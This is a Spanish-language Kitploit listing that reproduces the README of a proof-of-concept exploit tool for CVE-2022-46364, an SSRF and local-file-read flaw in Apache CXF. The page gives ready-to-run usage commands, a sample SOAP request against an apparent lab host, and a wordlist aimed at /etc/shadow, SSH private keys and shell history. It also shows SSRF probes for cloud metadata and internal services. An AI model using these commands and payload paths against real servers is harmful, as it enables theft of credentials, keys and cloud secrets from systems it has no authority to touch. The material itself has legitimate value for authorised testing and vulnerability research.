Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
Herramientas/GitHubGitHub/0xmid00/cve-2022-46364-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebFuzzingPruebas de Penetración
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

Ver Repositorio
1hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Autor: 0xmid00
Vulnerabilidad: SSRF / Lectura de archivos local via XOP:Include en solicitudes MTOM
Afectado: Apache CXF < 3.5.5 y < 3.4.10


¿Cuál es la vulnerabilidad?

Apache CXF procesa mensajes MTOM (Mecanismo de Optimización de Transmisión de Mensajes) que contienen elementos XOP:Include. El atributo href de XOP:Include está destinado a hacer referencia a un adjunto dentro del mismo mensaje multiparte MTOM.

Sin embargo, en versiones vulnerables, CXF seguirá cualquier URI proporcionada en href, incluyendo:

  • file:///etc/passwd → lee archivos locales (LFI)
  • http://127.0.0.1:PORT/ → sondea servicios internos (SSRF)

Un atacante solo necesita enviar una solicitud SOAP con al menos un parámetro de cualquier tipo para activar esto.


Requisitos

root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 exploit.py -r request.txt [options]

Argumentos

ArgumentoDescripción
-r, --requestRuta al archivo de solicitud HTTP sin procesar (requerido)
--mode 1Auto-detecta campos XML inyectables usando /etc/passwd
--mode 2Fuzzea una wordlist de rutas de archivos
--field NAMEEspecifica el campo XML a inyectar (omite la detección automática)
--wordlist PATHRuta a la wordlist de archivos para Modo 2
--read PATHLee un único archivo específico
-v, --verboseMuestra información detallada de la solicitud

Formato del archivo de solicitud

Guarda tu solicitud HTTP sin procesar en un archivo .txt exactamente como fue capturada (p.ej. desde Burp):

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

El exploit lo convierte automáticamente al formato MTOM — no necesitas hacerlo manualmente.


Ejemplos

Modo 1 — Auto-detecta todos los campos inyectables

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

Intenta inyectar file:///etc/passwd en cada elemento XML hoja e informa cuáles devuelven contenido del archivo.


Modo 1 — Prueba un campo específico

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

Modo 2 — Fuzzea archivos (primero auto-detecta el campo)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

Primero ejecuta el Modo 1 para encontrar el campo inyectable, luego fuzzeea todas las rutas en la wordlist a través de ese campo.


Modo 2 — Fuzzea archivos con campo conocido (más rápido)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

Omite la detección de campo y va directamente al fuzzing.


Lectura de un solo archivo

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

Ejemplo de wordlist (lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

También puedes usar SecLists:

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

Cómo funciona

  1. Analiza el archivo de solicitud HTTP sin procesar
  2. Localiza el campo XML objetivo en el cuerpo SOAP
  3. Reemplaza su contenido con <xop:Include href="file:///..."/>
  4. Envuelve la solicitud en formato multiparte MTOM (necesario para activar el procesador XOP de CXF)
  5. Envía la solicitud — CXF obtiene el archivo y devuelve su contenido codificado en base64
  6. Decodifica e imprime el resultado

Modo SSRF

Para sondear servicios HTTP internos en lugar de leer archivos:

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

O edita el valor --read con cualquier URL interna:

root@kitploit:~
--read http://169.254.169.254/latest/meta-data/   (metadatos de AWS)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (banner SSH)

Descargo de responsabilidad

Esta herramienta es solo para pruebas de penetración autorizadas y desafíos CTF. El autor no es responsable del mal uso.

Descargar herramienta